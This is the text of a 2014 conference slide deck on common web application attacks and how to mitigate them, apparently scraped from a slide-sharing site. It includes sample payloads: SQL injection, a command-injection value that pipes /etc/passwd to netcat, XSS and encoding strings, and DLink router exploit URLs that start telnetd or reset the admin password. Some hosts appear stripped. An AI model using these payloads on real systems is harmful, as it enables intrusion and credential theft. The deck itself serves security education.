Attacking Web Applications

65 %
35 %
Information about Attacking Web Applications

Published on March 11, 2014

Author: goldshtn



O'Reilly Fluent 2014 talk on attacking web applications. Showing practical demos of attacking web assets, including XSS, CSRF, insecure cookie placement, traffic manipulation, and other tactics.

Attacking Web Applications Sasha Goldshtein CTO, Sela Group @goldshtn

Sasha Goldshtein @goldshtn Every web developer must be aware of the most common web attacks, risks, and mitigations. Don’t fly blind.

Sasha Goldshtein @goldshtn Typical Risks §  Exposure of user information -  Passwords, emails, identity theft §  Direct financial gain -  Credit card details §  Creating a botnet -  Using servers/user systems for malicious activity §  Denial of service §  Some serious damage™ -  Considering that more and more embedded systems serve stuff over HTTP

Sasha Goldshtein @goldshtn Are They Really After Me? 1.  They could be, if you’re important. 2.  They are after your users. 3.  They are after your servers. 4.  They found you randomly on the web.

Sasha Goldshtein @goldshtn OWASP Top Ten 1.  Injection 2.  Broken auth and session management 3.  Cross-site scripting 4.  Insecure direct object references 5.  Security misconfiguration 6.  Sensitive data exposure 7.  Missing function level access control 8.  Cross-site request forgery 9.  Using vulnerable components 10. Unvalidated redirects and forwards

Sasha Goldshtein @goldshtn SQL Injection §  Suppose the user request parameter is …  '  or  '1'='1   §  Then the query we execute is … select  *  from  users  where  (name=''  or  '1'='1')  and  (password='whatever')   db.ExecuteReader("select  *  from  users  where  (name='"    +  Request["user"]  +  "')  and  (password='"  +  Request["password"]  +  "')");

Sasha Goldshtein @goldshtn

Sasha Goldshtein @goldshtn OS Command Injection §  Suppose we’re too lazy to perform DNS lookup, so we resort to the following: §  Suppose the hostname parameter is …  foo  ||  cat  /etc/password  |  nc §  Then we end up sending the password file to! §  Most recent noisy exploit 10/9/2013 in DLink DIR-505 router firmware:  request=ping_test&ip_addr=;  /usr/sbin/telnetd;   system("nslookup  "  +  Request["hostname"]);

Sasha Goldshtein @goldshtn DEMO SQL injection and OS command injection

Sasha Goldshtein @goldshtn Mitigating Injections §  DO NOT trust user input §  DO NOT run code provided by the user §  DO NOT use blacklists for validation §  DO use SQL query parameters (?, @param, :param) §  DO use whitelists and regexes for validation §  DO fuzz your code with invalid input

Sasha Goldshtein @goldshtn Sessions and Cookies §  Most web applications today store sensitive user data in cookies §  At the very least, the session identifier is stored in a cookie -  Cookies are tasty §  Don’t store anything else in cookies and don’t trust them -  What if the client sends you: Cookie:  username=dave;permissions=admin  

Sasha Goldshtein @goldshtn DEMO Exploiting vulnerable session information

Sasha Goldshtein @goldshtn Sessions and URLs •  DO NOT embed session id in URLs •  DO NOT trust cookie contents •  DO NOT trust URL query string contents •  DO NOT use predictable session ids •  DO use a Secure, HttpOnly cookie for session id •  DO use long, random session ids

Sasha Goldshtein @goldshtn HTTP and HTTPS §  Surprisingly many web applications still use HTTP to transmit sensitive information §  Your HTTP traffic is freely available to: -  Your Starbucks barista -  Your family members -  Your ISP -  Your boss §  As a developer, you are responsible for your users sensitive information

Sasha Goldshtein @goldshtn DEMO Manipulating HTTP traffic

Sasha Goldshtein @goldshtn You Have Been Pineappled §  WiFi Pineapple is a mobile pentesting device -  ARM SOC, RAM, internal storage, USB storage, WiFi, Ethernet, 3G modem support §  Karma mode Is this the KatieHomeWiFi? Is this the Starbucks WiFi? Is this the JFKAirportWiFi? Sure

Sasha Goldshtein @goldshtn DroidSheep and zANTI

Sasha Goldshtein @goldshtn Use HTTPS Correctly §  DO NOT send sensitive information over HTTP §  DO NOT display login pages over HTTP §  DO NOT load HTTP frames/scripts/images in an otherwise HTTPS page §  DO insist on pure HTTPS for sensitive pages §  DO use Secure cookies for sensitive data (reminder) And, as a user: §  DO NOT connect to unsecured Wi-Fi networks (like “Free WiFi” or “Fluent”) §  DO use a VPN in insecure environments

Sasha Goldshtein @goldshtn Storing Sensitive Information §  DO NOT store anything you don’t have to store -  Least responsibility principle §  DO comply with regulation for secure storage -  E.g. if you store credit card details, you’re in for some pain

Sasha Goldshtein @goldshtn DEMO Rainbow tables and weak passwords

Sasha Goldshtein @goldshtn by Troy Hunt

Sasha Goldshtein @goldshtn “Password” unseated by “123456” on SplashData’s annual “Worst Passwords” list 1.  123456 2.  password 3.  12345678 4.  qwerty 5.  abc123 6.  123456789 7.  111111 8.  1234567 9.  iloveyou 10. adobe123 11. 123123 12. admin 13. 1234567890 14. letmein 15. photoshop 16. 1234 17. monkey 18. shadow 19. sunshine 20. 12345 21. password1 22. princess 23. azerty 24. trustno1 25. 000000

Sasha Goldshtein @goldshtn Password Storage §  DO NOT store passwords in clear text §  DO NOT store encrypted passwords §  DO hash and salt passwords §  DO reject weak passwords during signup §  DO consider using OAuth §  DISCUSS which hash function to use -  Super-slow (bcrypt) – subject to DOS -  Super-fast (MD5, SHA1) – subject to cracking

Sasha Goldshtein @goldshtn Cross-Site Scripting (XSS) •  Injecting JavaScript into pages viewed by other users – Cookie stealing, information disclosure – DOM manipulation, tricking the user to like Facebook pages, phishing – DDOS, bitcoin mining J •  Temporary XSS<script>alert(1);</script> •  Persistent XSS – You provide data to the server which is then permanently displayed when users visit

Sasha Goldshtein @goldshtn DEMO Persistent and temporary XSS

Sasha Goldshtein @goldshtn Cross-Site Request Forgery (CSRF) §  Use the fact that the user is already authenticated to a website to generate requests on his behalf  <img  src=""  />   §  Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account -  “I used to know what you watched on YouTube”

Sasha Goldshtein @goldshtn DEMO Persistent and temporary XSS

Sasha Goldshtein @goldshtn 70 Ways To Encode < <   %3C   &lt   &lt;   &LT   &LT;   &#60   &#060   &#0060   &#00060   &#000060   &#0000060   &#60;   &#060;   &#0060;   &#00060;   &#000060;   &#0000060;   &#x3c   &#x03c   &#x003c   &#x0003c   &#x00003c   &#x000003c   &#x3c;   &#x03c;   &#x003c;   &#x0003c;   &#x00003c;   &#x000003c;   &#X3c   &#X03c   &#X003c   &#X0003c   &#X00003c   &#X000003c   &#X3c;   &#X03c;   &#X003c;   &#X0003c;   &#X00003c;   &#X000003c;   &#x3C   &#x03C   &#x003C   &#x0003C   &#x00003C   &#x000003C   &#x3C;   &#x03C;   &#x003C;   &#x0003C;   &#x00003C;   &#x000003C;   &#X3C   &#X03C   &#X003C   &#X0003C   &#X00003C   &#X000003C   &#X3C;   &#X03C;   &#X003C;   &#X0003C;   &#X00003C;   &#X000003C;   x3c   x3C   u003c   u003C  

Sasha Goldshtein @goldshtn Mitigating XSS and CSRF §  DO NOT trust user input (déjà vu?) §  DO NOT allow GETs to modify state §  DO NOT rely on blacklists §  DO escape and sanitize HTML provided by the user §  DO use whitelists or a non-HTML format like Markdown §  DO generate anti-CSRF tokens and validate them §  DO validate Referer headers

Sasha Goldshtein @goldshtn Admin Consoles §  DO NOT leave admin consoles exposed to the Internet §  DO NOT provide “extra helpful” troubleshooting info §  DO restrict admin consoles to local network only §  DO whitelist IP addresses if absolutely necessary Some auth cookies… yum!

Sasha Goldshtein @goldshtn DEMO Locating admin consoles through Google

Sasha Goldshtein @goldshtn DLink DIR-615 and DIR-300 Security Advisory •  OS command injection http://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/ pingIp=`telnetd`&pingIP=   •  CSRF to change admin password and enable remote administration (Internet-facing) http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save +Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h =0&rt_enable=on&rt_enable_h=1&rt_ipaddr=     •  Information disclosure http://<IP>/DevInfo.txt   •  Insecure password storage $  cat  var/etc/httpasswd   admin:admin  

Sasha Goldshtein @goldshtn Summary & Call To Action §  Be aware of security risks and typical vulnerabilities §  Ensure your developers get up to date security training §  Learn how to use the mitigation and prevention tools in your Web framework §  Review code for security, not just correctness §  If your web app is secure, attackers will try other routes

Thank You! Sasha Goldshtein CTO, Sela Group @goldshtn

Add a comment

Related presentations

Presentación que realice en el Evento Nacional de Gobierno Abierto, realizado los ...

In this presentation we will describe our experience developing with a highly dyna...

Presentation to the LITA Forum 7th November 2014 Albuquerque, NM

Un recorrido por los cambios que nos generará el wearabletech en el futuro

Um paralelo entre as novidades & mercado em Wearable Computing e Tecnologias Assis...

Microsoft finally joins the smartwatch and fitness tracker game by introducing the...

Related pages

Types of Attacks for Web Applications |

Types of Attacks for Web Applications. Travis Carroll on December 6, 2012. OWASP - Type of Attacks for Web Applications; Most Common Attack Vectors:
Read more

mXSS Attacks: Attacking well-secured Web-Applications by ...

mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations Mario Heiderich Horst Goertz Institute for IT Security Ruhr-University ...
Read more

Attacking Oracle Web Applications with Metasploit

4 •Here to talk about attacking oracle web applications (middleware) •What’s out there and how prevalent it is •Why so much of it is unpatched
Read more

Chapter 9: Attacking Web Applications - The Browser Hacker ...

CHAPTER 9 Attacking Web Applications. This chapter explores ricocheting web application attacks off a hooked browser without violating the SOP. If you have ...
Read more

2015 Web Application Attack Report (WAAR) - Imperva

1 WAAR 2015 2015 Web Application Attack Report (WAAR) 1. Introduction Welcome to the annual Web Application Attack Report #6 (WAAR) from Imperva.
Read more

Attacking AJAX Web Applications - Black Hat

Information Security Partners, LLC Attacking AJAX Web Applications Vulns 2.0 for Web 2.0 Alex Stamos Zane Lackey ...
Read more


WEB APPLICATION ATTACK REPORT #5 Edition #5 - October 2014 PHP APPLICATIONS 3X as many Cross Site Scripting Attacks as.NET APPLICATIONS AWS SERVERS
Read more

Web application attacks security guide: Preventing attacks ...

Web application attacks security guide: Preventing attacks and ... Web applications attacks can cost organizations time and money and lead to expensive ...
Read more

SANS Institute InfoSec Reading Room

Web applications manage a wide array of information ... As part of the Information Security Reading Room Author retains full rights. Web Based Attacks
Read more